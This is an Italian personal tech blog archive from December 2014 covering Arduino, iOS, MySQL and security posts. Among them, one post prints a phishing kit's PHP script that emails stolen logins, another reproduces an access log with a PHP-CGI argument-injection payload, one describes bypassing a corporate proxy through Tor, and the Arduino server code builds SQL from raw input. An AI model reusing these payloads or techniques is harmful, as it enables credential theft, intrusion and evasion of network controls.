mercoledì 31 dicembre 2014

Ipad come secondo monitor

Avendo preso un MacBook da 13 (soprattutto per problemi di peso e venendo dal 15) mi sono trovato ad avere uno schermo piu' piccolo dell'usuale.
Per questo motivo ho provato ad estendere il monitor provando i programmi che usano lo schermo dell'Ipad come estensione del portatile



Vi sono molte soluzioni a pagamento sia con connessione wifi che con connessione mediante cavo lightning (quest'ultima mi sembrava la migliore fino a quando non ho scoperto che l'Ipad non si ricarica mentre e' in modalita' dual monitor) ma a fronte di recensioni non tutte positive non ho voluto spendere una decina di euro per una prova

Mi sono orientato quindi verso l'unico software che permette una demo ovvero VtDisplay Lite.
Si devono montare sul portatile e sull'Ipad (che devono esssere agganciati alla stessa wifi)  i rispettivi programmi e poi si effettua la connessione

Le impressioni d'uso non sono molto positive, c'e' un sensibile (e fastiidoso ritardo) del mouse quando ci si sposta sul monitor Ipad. Puo' essere una soluzione utile in caso di necessita' (vedi mancanza di secondo monitor fisico collegato via thunderbolt) e solo nel caso di tenere qualcosa da leggere sull'ipad (tipo un manuale) mentre si usa il portatile per lavorare ma diciamo che se avessi comprato il software me ne sarei sostanzialmente pentito

SismoArduino

Dopo i recenti terremoti vicino a Firenze mi e' tornata la voglia di lavorare ad un progetto che avevo in mente da tempo e che con somma fantasia ho denominato SismoArduino. Si tratta di un progetto da un giorno ovvero che non risolve in 10 minuti collegando 4 fili ma che non necessita comunque troppo impegno




Per questo progettino ho tirato fuori l'Arduino Uno (la scelta e' stata obbligata perche' Arduino Due non entra fisicamente nella scatola da esterni in cui alla fine deve essere alloggiato il tutto per metterlo in produzione), uno shield Ethernet originale Arduino e un accelerometro triassiale ADXL335





Per comodita' ho piegato il pin ST in modo da fare contatto ed ho poi inserito i pin Z,Y e X nelle porte A3,A4 ed A5 patchando poi al volo i cavi di alimentazione (collegati a 3.3V e GND)

Lo sketch montato su Arduino semplicemente legge i dati sulle porte analogiche e poi invia una stringa mediante UDP client ad un server
(Arduino e' 192.168.1.177 mentre il server e' 192.168.1.120 in ascolto su porta 5005)

-----------------------------------------------------------------------
#include <SPI.h>      
#include <Ethernet.h>
#include <EthernetUdp.h>
//Arduino
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
IPAddress ip(192, 168, 1, 177);
unsigned int localPort = 8888;    

//Server
byte remoteIP[4] = {192, 168, 1, 120};
int remotePort = 5005;

String dati;
char charBuf[1024];

EthernetUDP Udp;

void setup() {
  Serial.begin(9600);
  Ethernet.begin(mac,ip);
  Udp.begin(localPort);
}

void loop() {
  int x = analogRead(A5);
  delay(2);
  int y = analogRead(A4);
  delay(2);
  int z = analogRead(A3);
  delay(2);
  dati = String(x)+","+String(y)+","+String(z);
  Serial.println(dati);
  dati.toCharArray(charBuf, 1024);
  Udp.beginPacket(remoteIP, remotePort);
  Udp.write(charBuf);
  Udp.endPacket();
  delay(10);    
}
-----------------------------------------------------------------------

Sul server e' stato messo uno script Python che riceve i dati con un server UDP e li scrive su un database Mysql
-----------------------------------------------------------------------
#!/usr/bin/python

import socket
import MySQLdb as mdb
import  time

current_milli_time = lambda: int(round(time.time()*1000))

con = mdb.connect('localhost','root','chiara','sismoarduino')

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.bind(("192.168.1.120",5005))
while True:
data,addr=sock.recvfrom(1024)
with con:
cur = con.cursor()
cur.execute("INSERT INTO sisard (x1,y1,z1,milli,tempo) VALUES ("+data+","+str(current_milli_time())+",now())")

print data
-----------------------------------------------------------------------

Per la tabella Mysql c'e' un piccolo trucco. Mysql non accetta in modo semplice il formato tempo con i millisecondi. Per cui e' stato creato un campo milli come BIGINT dove e' registrato il tempo completo con i millisecondi ed un campo tempo come DATETIME per il lettore umano
-----------------------------------------------------------------------
CREATE TABLE `sisard` (
  `x1` int(11) DEFAULT NULL,
  `y1` int(11) DEFAULT NULL,
  `z1` int(11) DEFAULT NULL,
  `milli` bigint(20) DEFAULT NULL,
  `tempo` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
------------------------------------------------------------------------

La presentazione dei dati e' effettuata in tempo reale mediante un lettore fatto con le librerie Dygraph
I dati per la presentazione a video vengono generati dal seguente scritp php (in pratica viene generato al volo un CSV che viene dato in pasto a DyGraph
------------------------------------------------------------------------
<?php header('Content-Type: text/csv; charset=utf-8'); 
header('Content-Disposition: attachment; filename=data.csv');

$output = fopen('php://output', 'w');


$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'chiara';
$dbdb = 'sismoarduino';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
  die('Could not connect: ' . mysql_error());
}
mysql_select_db($dbdb);

$result = mysql_query("SELECT * FROM sisard ORDER BY milli DESC LIMIT 1000");
while ($row = mysql_fetch_array($result)) {

$arr[0] = $row['milli'];
//$arr[0]=date("d-m-Y H:i:s",$row['milli']/1000);
$arr[1] = $row['x1'];
$arr[2] = $row['y1'];
$arr[3] = $row['z1'];
fputs($output,implode($arr,',')."\n");
}

mysql_close($conn);
?>
------------------------------------------------------------------------

E questa e' la pagina html che ospita Dygraph con aggiornamento automatico ogni secondo (la finestra e' degli ultimi 1000 dati
------------------------------------------------------------------------
<html>
<META HTTP-EQUIV="refresh" CONTENT="900">
<head>
<script type="text/javascript"
  src="http://localhost/dygraph-combined.js"></script>
</head>
<body>
<div id="graphdiv2"
  style="width:500px; height:300px;"></div>
  <br>

<script type="text/javascript">
  g2 = new Dygraph(
    document.getElementById("graphdiv2"),
    "http://localhost/sismodati.php", 
    {title: 'SismoArduino'}          // options
  );

 var update = function(){
g2.updateOptions({'file': 'http://localhost/sismodati.php'});  
};
  window.setInterval(update,1000);  
</script>
</body>
</html>
------------------------------------------------------------------------
il passo di campionamento misurato e' stato di circa 15-16 campioni al secondo (15 Hz) che non sono assolutamente paragonabili a strumenti professionali (i sismografi reali hanno passi di campionamento che vanno da 50 a 100 Hz)
Qui il video della prova



L'aspetto finale e' da sottolineare e' che il server (di recupero) impiegato e' stato un P3 a 700 Mhz con 128 Mb di ram con Debian Wheezy, Apache, Php, Mysql e Xwindow in funzione ed ha comunque funzionato dignitosamente

venerdì 26 dicembre 2014

IBeacon ed IOS8

In estate avevo scritto una piccola applicazione per IBeacon
E' passata l'estate e l'autunno ma sono rimasto fedele a IOS 7 e OS X 10.9 perche' i sistemi operativi troppo recenti sono sempre fonti di problemi; in questi giorni mi sono pero' convinto a passare ad IOS 8.1.2 sul telefono ed a OSX 10.10 sul portatile

La sorpresa e' venuta quando sono arrivato a compilare ed eseguire il codice per IBeacon che precedemente funzionava perfettamente. Nonostante non ci fossero errori di compilazione ne' errori di esecuzione il programma semplicemente aveva smesso di riconoscere i beacons vicini

Dopo un paio di giorni a battere il capo sul muro sono arrivato su questo link in cui si segnala che con l'arrivo di IOS 8 si devono aggiungere un paio di stringhe un info.plist del progetto
-----------------------------------------
<key>NSLocationAlwaysUsageDescription</key> 
<string>Messaggio Utente</string>
-----------------------------------------

oppure
-----------------------------------------
<key>NSLocationWhenInUseUsageDescription</key>
 <string>Your message goes here</string>
-----------------------------------------

effettuate queste modifiche il programma ha ricominciato a funzionare (e' in questi momenti che amo la programmazione :<<<<


mercoledì 24 dicembre 2014

Fallita migrazione Mac2Mac con Assistente Migrazione

Ieri mi sono trovato per la prima volta a fare una migrazione di dati ed impostazioni tra un vecchio MacBook A1286 verso un nuovo A1278. Considerando che entrambi i sistemi montano 10.10 e che disponevo di un backup di Time Machine, ho sfoderato Assistente di Migrazione ed ho aspettato un paio di ore


Al termine della barra  ho visto che l'indicatore era bloccato sulla scritta "Due minuti al termine"; fiducioso ho lasciato che il computer continuasse ma dopo altre due ore era tutto bloccato ed il led del disco esterno mi segnalava che non era piu' il caso di aspettare perche' non c'era attivita' di trasferimento dati


Riacceso il computer ho trovato che era stato creato il nuovo utente ma all'interno del profilo non c'erano le impostazione personalizzate e nemmeno i dati. Ma cosa aveva fatto per tutto il tempo il calcolatore?? Dopo un controllo sullo spazio disco era chiaro che i dati erano stati copiati da qualche parte ma non erano accessibili in modo semplice. Da terminale ho quindi cercato i file piu' grandi di 500 Mb (nelle cartelle copiate c'erano dei video)

Mandando un find su tutto il disco 

sudo find / -type f -size +500M



i file sono stati effettivamente copiati in una directory temporanea /private/var/folders (piu' caratteri casuali)

Dopo tre prove fallite di Assistente di Migrazione la soluzione e' stata quella di cancellare tutti i file presenti e copiare a mano tutto quanto dal Finder (....just works :<<<)

TextToSpeech su Browser

Per una installazione didattica avevo bisogno di un lettore per un testo su una pagina web. Non considerando l'ipotesi di un lettore umano ho voluto provare i sistemi (sperimentali) di TextToSpeech che prendono un generico testo ed inviano l'audio di quanto letto in automatico


Il codice per generare e' il seguente (Il testo e' tratto dall'introduzione dalle Lecture on Physics di Feynman)

---------------------------------------------
<html>
<head>
  <title>TTS</title>
  <script  src="https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

  <script>
     $(document).ready(function() {
      var u1 = new SpeechSynthesisUtterance();
  u1.text = $('div').html();
  u1.lang = 'en-US';
          u1.pitch = 2;
          u1.rate = 0.5;
          u1.voiceURI = 'native';
          u1.volume = 0.5;
          speechSynthesis.speak(u1);
    });
  </script>
  <div id="demo_div">
This two-year course in physics is presented from the point of view that you, the reader, are going to be a physicist. This is not necessarily the case of course, but that is what every professor in every subject assumes! If you are going to be a physicist, you will have a lot to study: two hundred years of the most rapidly developing field of knowledge that there is. So much knowledge, in fact, that you might think that you cannot learn all of it in four years, and truly you cannot; you will have to go to graduate school too!

  </div>
---------------------------------------------

e di seguito il video del risultato


con Chrome la lettura e' molto buona ma viene troncata a circa meta' testo (tutto il lavoro e' fatto in remoto dai server di Google che leggono il testo, lo processano e mandano indietro un file audio....ad occhio c'e' impostato un tempo limite) mentre in Safari e' decisamente ridicola

Un'altra soluzione, costosa ma non poi cosi' tanto visti i risultati, e' data da GSpeech, un plugin per Joomla e Wordpress che surclassa decisamente le Api di TTS con un testo senza limiti di tempo e con una intonazione non piatta ma basata sulla punteggiatura (atttenzione audio basso)



Firefox e Youtube. Plugin should be updated

Su Firefox del computer di mia moglie (Windows XP) e' comparso improvvisamente il messaggio che il plugin di Flash deve essere aggiornato
Considerando che questo plugin e' quello impiegato per visualizzare i video di Youtube, il bambino non poteva piu' vedere i suoi cartoni animati e cio' e' male


Tentando di aggiornare i plugin di Firefox sono andato in Strumenti/Componenti Aggiuntivi/Plugin in cui erano segnalati dei plugin obsoleti da aggiornare ma niente di relativo a Flash

Dopo una buona mezz'ora a cercare di capire dove era il problema ho trovato che l'unica soluzione possibile era l'aggiornamento manuale dal sito di Adobe all'indirizzo http://get.adobe.com/it/flashplayer/

martedì 16 dicembre 2014

Evadere da un proxy server (3)

Questo post e' la continuazione dei due precedenti post (1 e 2)


il mio proxy server aziendale, oltre ad effettuare il vero e proprio lavoro di proxy, effettua anche una scansione dei contenuti ed evita la navigazione su una serie di siti che considera non adatti ad un ambiente lavorativo (ancora devo scoprire il motivo perche' fa passare Facebook ma lasciamo perdere......)

Il problema e' che nella rete del blocco del filtro cascano siti legittimi e legati all'attivita' lavorativa come per esempio il sito dell'Ordine dei Geologi della Toscana (viene classificato come Disease Vector anche se non e' vero)




Ho scoperto quasi per caso che il proxy server puo' essere attraversato dalle connessioni su reti TOR. Utilizzando il Tor Browser Bundle (configurato per utilizzare il proxy aziendale) si puo' raggiungere tranquillamente il sito filtrato (nella foto sopra si puo' osservare la pagina di Chrome con sovrapposta Firefox tramite TOR) visto che tutto il contenuto della connessione e' criptato e quindi non puo' essere analizzato

Quindi ancora una volta e' stato possibile evadere dal proxy, con mezzi peraltro banali

lunedì 15 dicembre 2014

Google CardBoard

In vena di sperimentazione mi sono comprato la Google CardBoard
Si tratta di un esperimento presentato da Google per convertire un comune telefono (vedremo poi non poi cosi' comune) in un visore tridimensionale (come Oculus Rift) dal basso costo

Il kit puo' essere autoprodotto con del cartone (Google fornisce le istruzioni) ma non e' cosi' semplice perche' servono due lentine di una lunghezza focale ben determinata. Il kit ufficiale si trova sui 25 euro ma ho trovato su TinyDeal una offerta ad un paio di euro (spese di spedizione comprese, basta saper aspettare)



Come si vede il kit non e' gran che come precisione ed sono dovuto ricorrere al nastro adesivo per tenere tutto insieme. Il telefono deve essere inserito all'interno dell'alloggiamento (ATTENZIONE!!! puo' scivolare lateralmente quindi puo' cadere durante l'uso e' trattenuto dalle mani ma in altri casi no)
Come si vede dalla foto lo schermo del telefono viene diviso in due settori (uno per ogni occhio) per la visione stereoscopica


questo e' l'aspetto montato
Primo avviso: essendo fatto di cartone ed appoggiandosi sulla fronte, inevitabilmente il sudore della fronte sporca la parte interna (vedi foto sottostante) anche dopo un solo utilizzo


Secondo avviso: non tutti i telefoni sono adatti. Google certifica come funzionanti Nexus 5, Nexus 4 (alcuni utenti lamentano che non funziona perfettamente) e pochi altri. Sul mio Moto G 2013 l'esperienza 3D e' ottima ma NON funziona la funzione click con il magnete (posto sulla sinistra del visore) ed e' necessario avere un telefono con giroscopi (per esempio nei demo si deve inclinare il visore per scorrere a destra e sinistra e sul Moto G 2013 non funziona)

Terzo avviso: il visore puo' funzionare anche con IPhone. Ho provato con le applicazioni 3D compatibili con il 4S ma lo schermo e' decisamente troppo piccolo. Probabilmente si deve utilizzare IPhone 5

Oltre alle applicazioni su PlayStore sono molto carine le applicazioni 3D che si trovano su Chrome Experiment

martedì 9 dicembre 2014

Spam da Libero.it

Frugando nella cartella spam di GMail (non lo faccio spesso ma ogni tanto controllo di non aver perso qualcosa) ho trovato una mail di mia zia ....curioso che GMail sbagli cosi' a classificare le mail.

Aprendo la mail ho trovato solo un link (http://expressbookng.com/oikmco/oyurogwunaehhaadlwohrwyurbap.pvtqyqdnpilaulwse=
hm) il quale una volta cliccato rimandava a questo sito (http://mother-blog-home.com/)...ovviamente queste cose si fanno su macchine virtuali usa e getta...mia zia non puo' mandare queste mail ;>
(peraltro la prima volta che ho contattato il sito questo non era raggiungibile, il giorno successivo era invece presente)

ok guardiamo meglio
aprendo gli header del messaggio e' chiaro perche' Google lo ha messo in spam ..l'ip dichiarato dal mittente non corrisponde al server di posta di libero.it

andiamo avanti
il server di posta mittente (cne.gob.ve) e' relativo ad un sito istituzionale venezuelano per le elezioni elettorali (non libero) 
Il messaggio e' stato inoltrato da un client Microsoft ( questo non e' discriminante perche' da Libero si puo' scrivere sia webmail che tramite client di posta sul proprio Pc)

Contattata mia zia mi ha detto che il suo account era stato usato per inviare mail a tutti i suoi contatti 
Il problema era quindi nel portatile ??? Sembra di no perche' non si spiegherebbe l'utilizzo di un mail server venezuelano

Andando un po' a giro (per esempio qui) sembra che il problema sia una compromissione dei server di Libero.it...cambiare password dell'account sembra sostanzialmente inutile, forse e' meglio cambiare servizio di posta


----------------------------------------------------------------------------------                                                                                                                                                                                                                                                                
Delivered-To: xxxxxx@gmail.com
Received: by 10.216.40.6 with SMTP id e6csp81601web;
        Sat, 29 Nov 2014 14:40:43 -0800 (PST)
X-Received: by 10.42.4.201 with SMTP id 9mr1318337ict.23.1417300842579;
        Sat, 29 Nov 2014 14:40:42 -0800 (PST)
Return-Path: <xxxxxxxx@libero.it>
Received: from mail.cne.gob.ve (mail.cne.gob.ve. [190.202.82.22])
        by mx.google.com with SMTP id 9si9731310ica.66.2014.11.29.14.40.41
        for <xxxxxxxx@gmail.com>;
        Sat, 29 Nov 2014 14:40:42 -0800 (PST)
Received-SPF: fail (google.com: domain of xxxxxxx@libero.it does not designate 190.202.82.22 as permitted sender) client-ip=190.202.82.22;
Authentication-Results: mx.google.com;
       spf=fail (google.com: domain of xxxxxxxx@libero.it does not designate 190.202.82.22 as permitted sender) smtp.mail=xxxxxxx@libero.it
Received: from localhost (correo-2 [127.0.0.1])
by mail.cne.gob.ve (Postfix) with ESMTP id 681C74BED69
for <xxxxxxx@gmail.com>; Sat, 29 Nov 2014 22:34:42 +0000 (UTC)
X-Virus-Scanned: amavisd-new at cne.gob.ve
Received: from mail.cne.gob.ve ([127.0.0.1])
by localhost (correo-2.cne [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id PEa1gr_ZJWyY for <xxxxxxxxx@gmail.com>;
Sat, 29 Nov 2014 18:04:41 -0430 (VET)
Received: from mail.cne.gob.ve (67-32-134-95.pool.ukrtel.net [95.134.32.67])
(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
(No client certificate requested)
by mail.cne.gob.ve (Postfix) with ESMTPSA id 1E4DE4BED3E
for <xxxxxxx@gmail.com>; Sat, 29 Nov 2014 18:04:39 -0430 (VET)
Authentication-Results: mail.cne.gob.ve; dkim=none reason="no signature";
dkim-adsp=none
Message-ID: <A4D9D0CA95F0A58CD5E10C49A47C1750@mail.cne.gob.ve>
From: "xxxxxxxx" <xxxxxxx@libero.it>
To: "xxxxxx" <xxxxxxx@gmail.com>
Subject: =?ISO-8859-1?Q?FW=3Amwmachado?=
Date: Fri, 29 Nov 2014 11:34:39 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_AFA7_0F92A445.54BC485A"
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 16.4.3522.110
X-MIMEOLE: Produced By Microsoft MimeOLE V16.4.3522.110

This is a multi-part message in MIME format.

------=_NextPart_000_AFA7_0F92A445.54BC485A
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

http://expressbookng.com/oikmco/oyurogwunaehhaadlwohrwyurbap.pvtqyqdnpilaulwse=
hm 

 xxxxxxx@libero.it 


------=_NextPart_000_AFA7_0F92A445.54BC485A
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

=EF=BB=BF<HTML><HEAD><META http-equiv=3D"content-type" content: text/html;=
 charset=3DUTF-8></HEAD><BODY><a href=
=3D"http://expressbookng.com/oikmco/oyurogwunaehhaadlwohrwyurbap.pvtqyqdnpilau=
lwsehm">http://expressbookng.com/oikmco/oyurogwunaehhaadlwohrwyurbap.pvtqyqdnp=
ilaulwsehm</a>=
 <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>=
 xxxxxxxx@libero.it <br><br> </BODY></HTML>

------=_NextPart_000_AFA7_0F92A445.54BC485A--

domenica 7 dicembre 2014

Nuove frontiere del Phishing : GDOCS

Oggi mi e' arrivata una mail da una persona che non conosco di persona e che mi aveva condiviso un file su GDocs


da una breve ricerca ho visto che questa persona e' collegata ad un gruppo sui Genesis su Facebook a cui sono iscritto e quindi ho cliccato sul link
Mi si e' aperta questa finestra

Dropbox ??? Che storia e' mai questa ??? Non era GDocs??
E poi guardo la Url ?? non corrisponde a server di Dropbox ma ad un servizio spagnolo (non capisco bene lo spagnolo ma non e' un servizio cloud di file sharing
Provo allora ad andare indietro di una directory su http://surynorte.cl/lee/ ed ecco la gradita sorpresa

Una directory di cui si puo' fare il listing con un file drop.zip troppo invitante per non cliccarci sopra. Lo scarico in locale e questa e' la struttura


il tempo si aprire il file submit.php ed ecco il contenuto
-----------------------------------
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$time = date("m-d-Y g:i:a");
$msg = "---------------------------------------------------------------------------\n";
$msg .= "Dropbox Login Info by Abbeymilli\n";
$msg .= "---------------------------------------------------------------------------\n";
$msg .= "Email : ".$_POST['username']."\n";
$msg .= "Password : ".$_POST['password']."\n";
$msg .= "---------------------------------------------------------------------------\n";
$msg .= "Sent from $ip on $time\n";
$msg .= "---------------------------------------------------------------------------\n";
$to = "kelvinpeter270@gmail.com,kelvinpeter270@gmail.com";
$subject = "Chi Lee Update $ip";
$from = "From: Dropbox<newsupdate@servisdropbox.com>";
mail($to,$subject,$msg,$from);
header("Location: http://www.dropbox.com");
?>
-----------------------------------

in pratica lo script invia le credenziali richieste (username e password) ad una mail. Un vero e proprio phishing (seppure un po' dilettantesco)

A chi lo segnalo questo abuso adesso?????

a proposito: chiunque tu sia signor kelvinpeter270@gmail.com, a questo giro non mi hai preso ;>



venerdì 5 dicembre 2014

Estimote Virtual Beacon


Nell'applicazione Estimote per cellulari e' disponibile anche la funzione Virtual Beacon
Il problema e' che, usando gli esempi di Estimote, si riescono a visualizzare i beacon fisici e non il virtual beacon




il problema risiede nel fatto che i beacon fisici Estimote hanno un uuid B9407F30-F5F8-466E-AFF9-25556B57FE6D mentre i virtual beacon hanno un uuid 8492E75F-4FD6-469D-B132-043FE94921D8

Modificando questo parametro e' possibile usare i virtual beacon per gli esempi di Estimote


MYIsam vs InnoDB

Recentemente e' stato deciso un aggiornamento di un server interno basato su una vetusta Ubuntu 10.10 per passare ad una macchina e ad una distribuzione piu' recente
Nella migrazione un applicativo proprietario (per altro scritto in Java) basato su MySql ha iniziato a dare improvvisamente problemi con una lentezza delle query (con tempi di risposta aumentati da 10 a 100 volte)

Dopo un  po' di navigazione a vuoto per fortuna lo sviluppatore ha fornito l'indicazione corretta
bisogna impostare il motore dati di Mysql da InnoDB a MyIsam

con il tempo (e piu' precisamente da Ubuntu 12.04) le tabelle di default sono passate da InnoDB a MyIsam
In generale riprendendo dal sito MySql le MyIsam sono piu' performanti nelle SELECT (l'applicativo in uso nel server invece effettua circa 40 INSERT al secondo e solo sporadiche select)

per vedere il tipo di motore associato ad una tabella si puo' usare la seguente query

SELECT TABLE_NAME, ENGINE FROM information_schema.TABLES where TABLE_SCHEMA = 'xxxxxxx';
Per convertire una tabella di InnoDB a MyIsam si puo' usare invece il comando

ALTER TABLE tablename ENGINE=MYISAM;


Una volta effettuata la modifica il programma e' ritornato a lavorare in modo corretto

Un altro aspetto non trascurabile di differenze tra InnoDB e MyIsam e' che le InnoDB di fatto non sono corruttibili. Se con MYIsam era necessario il comando

mysqlcheck --repair --all-databases -u root -p

adesso in caso di uso InnoDB si mostra l'avviso "The storage engine for the table doesn't support repair"


giovedì 4 dicembre 2014

SSH su TIM Mobile

Dopo un po' di tempo che non amministravo server Linux mi sono ritrovato con nuove macchine da gestire. Dato che sono sempre a giro oramai mi connetto quasi sempre via cellulare. Usando una scheda TIM per una connessione SSH mi sono spesso trovato disconnesso dopo pochi secondi (questo difetto e' sostanzialmente indipendente dall'hardware usato)



dopo un po' di ricerche su Internet ho trovato che questo malfunzionamento era segnalato da tempo su ADSL Telecom e la soluzione suggerita era di aggiungere il parametro ServerAliasInterval come segue

ssh user@host -o ServerAliveInterval=15

l'indicazione e' risultata valida anche per le connessioni mobile per cui adesso riesco ad usare SSH con TIM senza disconnessioni


Un quarto d'ora di celebrita' (Maratona Firenze 2014)

In un giorno triste per la Maratona di Firenze mi sono ritrovato fotografato il giorno successivo a pag.5 de La Nazione insieme ad altri volontari




Da Repubblica Online (cerchiato sull'estrema destra)


Ma a cosa servono i volontari ?? (vedi dopo il salto)

venerdì 28 novembre 2014

Da Android Lollipop a Kitkat su Nexus 7 2012

A seguito dell'uscita di Android 5 (Lollipop) ho aggiornato il sistema tramite OTA piu' che altro per curiosita' di vedere il nuovo sistema operativo (peraltro l'OTA per Nexus 7 2012 e' stata una delle prime ad essere disponibili)




Con mio grande disappunto mi sono trovato ad avere un sistema decisamente rallentato con ritardi di qualche secondo anche nell'eseguire. Il malfunzionamento era segnalato da altri utenti e sono usciti anche dei tutorials (vedi qui) per tentare di risolvere il problema ....per me non hanno avuto successo

L'unica soluzione e' stata quella di tornare indietro a KitKat
Per fare cio' si deve prima scaricare la factory release dal Google (per Nexus 7 2012 Wifi e' (KTU84P)
Si scompatta il pacchetto e si avvia il tablet mediante la combinazione Vol -/Acc

A questo punto si puo' lanciare il comando ./flash-all.sh (o flash-all.bat); verra' riconosciuto il devices


viene richiesto l'unlock del bootloader, si conferma mediante il tasto Acc
a questo punto inizia l'installazione di KitKat


qualche minuto ed il tablet torna una macchina usabile

giovedì 27 novembre 2014

Debugging Mysql

In alcuni casi c'e' la necessita' di effettuare debugging su Mysql, in particolare quando si ha a che fare con una applicazione proprietaria che scrive sul database e non se ne conoscono le  specifiche

Per tracciare il lavoro di Mysql si puo' attivare il log delle query; cio' puo' essere fatto anche senza stoppare il servizio entrando in shell con il comando (questi comandi sono eseguibili solo da amministratore di MySql)

mysql -u root -p

e digitando

SET GLOBAL general_log = 'ON';

fatto cio' sara' creato il file di log (normalmente in /var/lib/mysql/)

nel caso che mi e' capitato e' stato osservato il database ha effettuato circa 4500 queries in 105 secondi (poco meno di 43 queries al secondo)
sospettando un carico eccessivo del db ho attivato il log delle query che richiedono tempo per essere eseguite in modo da vedere se ci fosse una coda di lavoro
Sempre dalla shell di mysql questa funzione si puo' attivare con 

SET GLOBAL slow_query_log = 'ON';

(di default la lunghezza di una query lunga e' settata a 10 secondi su Ubuntu, si puo osservare con il comando "show variables like 'long_query_time';")

per modificare il limite della query lunga, per esempio a 50 ms

set global long_query_time = 0.05;

per leggere il file delle slow query puo' essere utile il comando mysqldumpslow

Reading mysql slow query log from Ubuntu-1404-trusty-64-minimal-slow.log
Count: 1  Time=11.38s (11s)  Lock=0.00s (0s)  Rows=9553.0 (9553), xxxxx[xxxxxx]@localhost

  SELECT * FROM `xxxxxxxx`.`xxxxxxxxxxxx`

che tradotto indica che la query e' stata eseguita una sola volta (Count 1) con un tempo medio di 11.38 secondi (il tempo tra parentesi e' il tempo cumulato nel caso in cui il count fosse maggiore di 1) e che ha richiesto 9553 righe

mercoledì 26 novembre 2014

Scansioni su access.log

Questo puo' essere considerato il bignamino delle scansioni su un server Apache

Si inizia con msscan, un programma per fare scansioni di Internet ad alta velocita' (un parente di nmap)
Poi iniziano scansioni alla ricerca di php4 e php5 installati come cgi. Le stringhe sono codificate ma sono del tipo

cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

si finisce con una serie di ricerche su software installati (VTiger, Jenkins Script Console, Hudson script console, PhpMyAdmin, SQLiteManager

giusto per ricordarsi che se devo proprio installare qualcosa, metterlo in posizione non standard non e' una sicurezza ma aiuta in caso di scansioni automatiche

----------------------------------------------------------------------------------------------------------------------- 104.192.0.19 - - [23/Nov/2014:11:28:24 +0100] "GET / HTTP/1.0" 200 146 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
200.136.214.133 - - [23/Nov/2014:12:24:56 +0100] "GET /w00tw00t.at.ISC.SANS.Win32:) HTTP/1.1" 400 283 "-" "-"
175.139.254.201 - - [23/Nov/2014:12:29:02 +0100] "GET /tmUnblock.cgi HTTP/1.1" 400 283 "-" "-"
104.156.230.207 - - [23/Nov/2014:12:59:25 +0100] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 283 "-" "-"
216.218.206.66 - - [23/Nov/2014:14:01:04 +0100] "GET / HTTP/1.1" 200 146 "-" "-"
216.218.206.66 - - [23/Nov/2014:14:06:04 +0100] "GET / HTTP/1.1" 200 146 "-" "-"
46.165.220.215 - - [23/Nov/2014:14:38:01 +0100] "GET /recordings/theme/iefixes.css HTTP/1.1" 404 290 "-" "curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5"
104.131.108.12 - - [23/Nov/2014:14:57:14 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 272 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
